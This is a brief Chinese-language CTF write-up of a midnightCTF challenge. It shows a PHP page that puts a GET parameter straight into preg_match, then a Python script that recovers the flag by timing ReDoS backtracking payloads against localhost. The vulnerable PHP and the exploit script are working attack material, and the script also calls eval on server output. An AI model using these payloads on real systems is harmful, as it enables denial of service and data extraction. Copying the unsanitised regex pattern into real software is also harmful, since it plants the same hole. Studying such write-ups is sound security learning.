redos

midnightCTF，有这么一道题，很是神奇(

<?php

// include_once('./flag.php');
$FLAG = "flag{Test_very_very_very_long_flag}";
error_reporting(E_ALL);
highlight_file(__FILE__);

$startTime = microtime(true);
if (!empty($_GET['x'])){
    preg_match('/'.$_GET['x'].'/', $FLAG, $matches);
}

$endTime = microtime(true);
$runTime = $endTime - $startTime;

echo "<br /><br />\n";
echo "<strong>Exec Time:</strong> ".$runTime."<br />\n";

起初是认为正则表达式/e能命令执行，赛后复现的时候才发现是Redos

肥肠好用的正则表达式工具

原理很简单，就是利用回溯、贪婪等方式，让正则表达式进行一个大量的工作，这样就产生了一个时间延迟，于是乎就可以直接开始注入了

from lxml import etree
import requests

ans = ""

small = [chr(i) for i in range(ord('a'), ord('z') + 1)]
small += [chr(i) for i in range(ord('A'), ord('Z') + 1)]
small += ["{", "}", "-","_"]

for _ in range(0,20):
    for i in small:
        _tmp = {}    
        u = f"http://127.0.0.1/midnight.php/?x={ans + i}|(a*(b*(c*(d*(e*(f*.*.*.*.*.*.*.*.*.*.*.*.*(g*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*(].*.*.*.*.*.*.*.*.*.*.*))))))))"
        r = requests.get(u)
        html = etree.HTML(r.text)
        time = html.xpath("/html/body/text()")[1]
        _tmp_time = eval(time)
        if _tmp_time <0.0005:
            print(i,time)
            ans += i
print(ans)
# print(timemap[timelist.sort(reverse=True)[0]])